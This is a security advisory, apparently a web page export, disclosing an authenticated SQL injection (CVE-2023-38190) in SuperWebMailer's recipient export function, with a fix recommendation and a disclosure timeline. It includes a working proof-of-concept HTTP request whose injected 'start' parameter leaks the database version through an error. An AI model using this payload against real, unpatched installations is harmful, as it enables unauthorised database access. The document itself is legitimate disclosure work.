{"id":21190,"date":"2023-10-20T15:00:44","date_gmt":"2023-10-20T13:00:44","guid":{"rendered":"https:\/\/herolab.usd.de\/security-advisories\/usd-2023-0014\/"},"modified":"2023-10-23T09:57:47","modified_gmt":"2023-10-23T07:57:47","slug":"usd-2023-0014","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2023-0014\/","title":{"rendered":"usd-2023-0014"},"content":{"rendered":"

[et_pb_section fb_built=\"1\" _builder_version=\"4.21.0\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.22.2\" _module_preset=\"default\" custom_padding=\"||13px|||\" hover_enabled=\"0\" global_colors_info=\"{}\" sticky_enabled=\"0\"]<\/p>\n

usd-2023-0014 | SQL Injection in SuperWebMailer<\/h1>\n

<\/h1>\n

Advisory ID<\/strong>: usd-2023-0014
Product<\/strong>: SuperWebMailer
Affected Version<\/strong>: 9.00.0.01710
Vulnerability Type<\/strong>: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Security Risk<\/strong>: HIGH
Vendor URL<\/strong>: https:\/\/www.superwebmailer.de<\/a>
Vendor acknowledged vulnerability<\/strong>: No
Vendor Status<\/strong>: Not fixed
CVE number<\/strong>: CVE-2023-38190
CVE Link<\/strong>: Pending<\/p>\n

Desciption<\/h3>\n

SuperWebMailer is an online application for managing e-mail newsletters.
An authenticated SQL injection vulnerability was discovered during an engagement.
In an SQL injection attack, a malicious input is used to alter the queries the application sends to an SQL server.<\/p>\n

The application contains an export functionality that is vulnerable to an SQL injection attack.
This functionality uses a size<\/strong> parameter provided by the user inside an SQL query without any encoding or filtering being applied.
Consequently, an attacker may alter the SQL query in unintended ways.<\/p>\n

Proof of Concept<\/h3>\n

The following request contains an SQL injection payload that displays the database version:<\/p>\n

\n
<\/span>POST<\/span> \/exportrecipients.php<\/span> HTTP<\/span>\/<\/span>2<\/span>Host<\/span>:<\/span> swm.example.com<\/span>Cookie<\/span>:<\/span> PHPSESSID=8ko13lk184llt0rqop2pikbf55; smlswmCsrfToken=20YyMEiUeMAYAEA22yeme6EAYEeIM2UqiqIMiE<\/span>User-Agent<\/span>:<\/span> Mozilla\/5.0 (X11; Linux x86_64; rv:102.0) Gecko\/20100101 Firefox\/102.0<\/span>Accept<\/span>:<\/span> text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8<\/span>Accept-Language<\/span>:<\/span> en-US,en;q=0.5<\/span>Accept-Encoding<\/span>:<\/span> gzip, deflate<\/span>Content-Type<\/span>:<\/span> application\/x-www-form-urlencoded<\/span>Content-Length<\/span>:<\/span> 393<\/span>smlswmCsrfToken<\/span>=<\/span>20YyMEiUeMAYAEA22yeme6EAYEeIM2UqiqIMiE<\/span>&<\/span>OneMailingListId<\/span>=<\/span>1<\/span>&<\/span>MailingListName<\/span>=<\/span>Test+Empf%C3%A4ngerliste<\/span>&<\/span>step<\/span>=<\/span>4<\/span>&<\/span>Separator<\/span>=<\/span>%2C<\/span>&<\/span>Header1Line<\/span>=<\/span>1<\/span>&<\/span>AddQuotes<\/span>=<\/span>1<\/span>&<\/span>ExportLines<\/span>=<\/span>200<\/span>&<\/span>OnlyActiveRecipients<\/span>=<\/span>&<\/span>GroupsOption<\/span>=<\/span>1<\/span>&<\/span>groups<\/span>=<\/span>&<\/span>fields%5Bu_EMail%5D<\/span>=<\/span>1<\/span>&<\/span>fields%5Bu_FirstName%5D<\/span>=<\/span>1<\/span>&<\/span>fields%5Bu_LastName%5D<\/span>=<\/span>1<\/span>&<\/span>start<\/span>=<\/span>1,1+procedure+analyse(extractvalue(rand(),concat(0x3a,version())),1)%3b%23<\/span>&<\/span>ExportRowCount<\/span>=<\/span>5<\/span><\/pre>\n<\/div>\n
The database version is printed in the response as part of an error message:<\/p>\n
\n
<\/span>HTTP<\/span>\/<\/span>2<\/span> 200<\/span> OK<\/span>Server<\/span>:<\/span> openresty<\/span>Date<\/span>:<\/span> Sun, 25 Sep 2022 16:48:39 GMT<\/span>Content-Type<\/span>:<\/span> text\/html; charset=utf-8<\/span>Content-Length<\/span>:<\/span> 16149<\/span>Expires<\/span>:<\/span> Mon, 26 Jul 1997 05:00:00 GMT<\/span>Cache-Control<\/span>:<\/span> no-store, no-cache, must-revalidate, max-age=0<\/span>Last-Modified<\/span>:<\/span> Sun, 25 Sep 2022 16:48:39 GMT<\/span>Pragma<\/span>:<\/span> no-cache<\/span>X-Frame-Options<\/span>:<\/span> SAMEORIGIN<\/span>Cache-Control<\/span>:<\/span> post-check=0, pre-check=0<\/span>Vary<\/span>:<\/span> Accept-Encoding<\/span>X-Served-By<\/span>:<\/span> swm.example.com<\/span>[...]                <<\/span>td<\/span> colspan<\/span>=<\/span>\"2\"<\/span>><<\/span>b<\/span>><\/span>SQL-Fehler:<\/<\/span>b<\/span>><\/span>&nbsp;<\/span>XPATH syntax error: ':10.5.15-MariaDB-0+deb11u1' 1105<<\/span>br<\/span> \/><<\/span>br<\/span> \/><\/span><\/span>                                <<\/span>b<\/span>><\/span>SQL-Anweisung:<\/<\/span>b<\/span>><\/span>&nbsp;<\/span>SELECT DISTINCT u_EMail, u_FirstName, u_LastName, **testempfngerliste_members**.**id** FROM **testempfngerliste_members**   ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);#, 200<<\/span>br<\/span> \/><<\/span>br<\/span> \/><\/<\/span>td<\/span>><\/span>[...]<\/<\/span>body<\/span>><\/span><\/<\/span>html<\/span>><\/span><\/pre>\n<\/div>\n
Fix<\/h3>\n
SQL injection vulnerabilities can be prevented by using prepared statements with parameterized queries. Additionally, all input to the application should be treated as potentially dangerous and consequently validated on the server-side.<\/p>\n
References<\/h3>\n
https:\/\/cwe.mitre.org\/data\/definitions\/89.html<\/a>
https:\/\/owasp.org\/www-community\/attacks\/SQL_Injection<\/p>\n
Timeline<\/h3>\n
    \n
  • 2022-09-26<\/strong>: This vulnerability was discovered by Florian Dewald and Gerbert Roitburd of usd AG.<\/li>\n
  • 2023-04-20<\/strong>: First contact request via info@superwebmailer.de.<\/li>\n
  • 2023-05-08<\/strong>: Reminder sent via info@superwebmailer.de and contact form.<\/li>\n
  • 2023-05-15<\/strong>: Second reminder to webmaster@wt-rate.com and info@superwebmailer.de.<\/li>\n
  • 2023-05-25<\/strong>: Another reminder sent to info@superwebmailer.de, webmaster@wt-rate.com and info@wt-rate.com<\/li>\n
  • 2023-06-05<\/strong>: Once more tried to inform the company of the vulnerabilities via the feedback form (info@superwebmailer.de).<\/li>\n
  • 2023-07-17<\/strong>: Sent another email to info@supermailer.de, webmaster@wt-rate.com, info@wt-rate.com and info@superwebmailer.de, stressing that CVEs are assigned to the vulnerabilities and disclosure may happen in case we do not receive an answer soon.<\/li>\n
  • 2023-08-17<\/strong>: As the vulnerabilities were found during a pentest, the customer was asked whether or not the Responsible Disclosure Team should move forward without the software vendor's cooperation.<\/li>\n
  • 2023-10-02<\/strong>: Final notice given to info@superwebmailer, warning of immenent disclosure should there be no response within a week.<\/li>\n
  • 2023-10-20<\/strong>: Vulnerabilities disclosed by usd AG.<\/li>\n<\/ul>\n
    Credits<\/h3>\n
    This security vulnerability was identified by Florian Dewald and Gerbert Roitburd of usd AG.<\/p>\n
    [\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"
    usd-2023-0014 | SQL Injection in SuperWebMailer Advisory ID: usd-2023-0014Product: SuperWebMailerAffected Version: 9.00.0.01710Vulnerability Type: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')Security Risk: HIGHVendor URL: https:\/\/www.superwebmailer.deVendor acknowledged vulnerability: NoVendor Status: Not fixedCVE number: CVE-2023-38190CVE Link: Pending Desciption SuperWebMailer is an online application for managing e-mail newsletters.An authenticated SQL injection vulnerability was […]<\/p>\n","protected":false},"author":114,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-21190","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/21190","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/114"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=21190"}],"version-history":[{"count":5,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/21190\/revisions"}],"predecessor-version":[{"id":21197,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/21190\/revisions\/21197"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=21190"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}